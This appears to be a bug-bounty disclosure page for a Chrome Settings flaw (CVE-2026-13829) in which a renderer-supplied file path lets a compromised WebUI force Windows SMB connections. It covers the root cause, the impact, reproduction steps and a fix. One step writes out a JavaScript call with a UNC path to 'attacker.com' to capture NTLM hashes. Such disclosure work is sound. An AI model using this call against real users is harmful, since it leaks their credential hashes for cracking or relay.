Insufficient validation of untrusted input in Settings (CVE-2026-13829)
The passwordsPrivate.showExportedFileInShell API trusted a file path supplied by the renderer and passed it to the browser's platform utilities without validation. On Windows, a compromised WebUI renderer could supply a remote UNC path, causing an outbound SMB connection and leaking the user's NTLM hash.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 47 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The passwordsPrivate.showExportedFileInShell API incorrectly trusts a file path provided by the renderer process, passing it directly to the browser's platform utilities. On Windows, this allows a compromised WebUI renderer to trigger outbound SMB connections, leading to NTLM credential leakage. The issue stems from a lack of validation of the file_path argument in the browser process.
Affected files:
chrome/browser/extensions/api/passwords_private/passwords_private_api.ccchrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.ccchrome/common/extensions/api/passwords_private.idlchrome/browser/platform_util_win.cccomponents/password_manager/core/browser/export/password_manager_exporter.cc
Estimated timestamp from git blame: 2023-02-13
Summary
A potential vulnerability in the passwordsPrivate.showExportedFileInShell extension API allows a compromised WebUI renderer (such as chrome://settings or chrome://password-manager) to force the browser process to access arbitrary file paths. On Windows, this can be exploited to leak the user's NTLM hashes by providing a remote UNC path.
Root Cause Analysis
The passwordsPrivate.showExportedFileInShell API is designed to open the file manager and select a previously exported password file. However, the implementation relies on the renderer to provide the file path, which the browser process then uses without verification.
In chrome/browser/extensions/api/passwords_private/passwords_private_api.cc, the Run() method extracts the file_path from the renderer-supplied arguments:
ResponseAction PasswordsPrivateShowExportedFileInShellFunction::Run() {
// ...
auto parameters =
api::passwords_private::ShowExportedFileInShell::Params::Create(args());
EXTENSION_FUNCTION_VALIDATE(parameters);
GetDelegate(browser_context())
->ShowExportedFileInShell(GetSenderWebContents(), parameters->file_path);
return RespondNow(NoArguments());
}
The file_path is passed to the delegate implementation in chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc, which calls platform_util::ShowItemInFolder:
void PasswordsPrivateDelegateImpl::ShowExportedFileInShell(
content::WebContents* web_contents,
std::string file_path) {
// ...
#if !BUILDFLAG(IS_WIN)
base::FilePath path(file_path);
#else
base::FilePath path(base::UTF8ToWide(file_path));
#endif
platform_util::ShowItemInFolder(browser->GetProfile(), path);
}
On Windows, platform_util::ShowItemInFolder (in chrome/browser/platform_util_win.cc) uses IShellFolder::ParseDisplayName on the provided path. If an attacker provides a UNC path (e.g., \\attacker-server\share\file.txt), the Windows Shell will attempt to resolve the path by initiating an outbound SMB connection to the remote server.
Potential Impact
- NTLM Credential Leakage (Windows): By forcing an SMB connection to an attacker-controlled server, the attacker can capture the user's NetNTLMv2 hash. This can be done silently in the background without user interaction, as the API does not enforce a user gesture check in the browser process.
- Shell Extension Execution (Windows): Forcing Explorer to select a file on a remote share may trigger the loading of shell extensions (like icon handlers), potentially leading to code execution within the
explorer.exeprocess (Medium integrity). - Local Path Disclosure: On other platforms, the API could be used to reveal the existence of files or the contents of directories to an observer by opening the file manager at arbitrary locations.
Suggested Steps to Reproduce (Potential)
- Achieve script execution in a renderer process for
chrome://settings(e.g., via a separate UXSS or WebUI vulnerability). - From the JS console or an injected script, execute:
chrome.passwordsPrivate.showExportedFileInShell("\\\\attacker.com\\share\\test.csv"); - Observe the outbound SMB connection and NTLM negotiation on the attacker-controlled server.
Recommended Fix
The API should be redesigned to remove the file_path parameter. The browser process (specifically the PasswordManagerExporter or the delegate) should maintain the authoritative state of the most recent export destination and use that internal path when the API is invoked, similar to how the downloads.show API operates.
Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The browser process accepted a renderer-supplied file path and passed it to the shell without checking that it matched the file the browser itself had exported.
Impact
An attacker who already has script execution in a WebUI renderer could silently capture the user's NetNTLMv2 hash on Windows, and possibly trigger shell extension loading on a remote share; on other platforms only local path disclosure is possible.
What the attacker needed
Script execution in a WebUI renderer; Windows target for NTLM leakage; attacker-controlled SMB server
The fix
The API should be redesigned to drop the file_path parameter, with the browser keeping the authoritative export destination internally, as the downloads.show API does.
How it was found
- Get script execution inside a WebUI renderer such as the settings page.
- Call the passwordsPrivate.showExportedFileInShell API with a remote UNC path.
- Watch the outbound SMB connection and NTLM negotiation arrive at the attacker's server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some parts of a browser run in separate sandboxed processes, and the privileged browser process should never blindly trust what they send it. Here, a settings page could ask the browser to open any file location, including one on a remote server, which makes Windows try to log in to that server and hands over a credential hash. That hash can then be cracked or relayed by an attacker.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.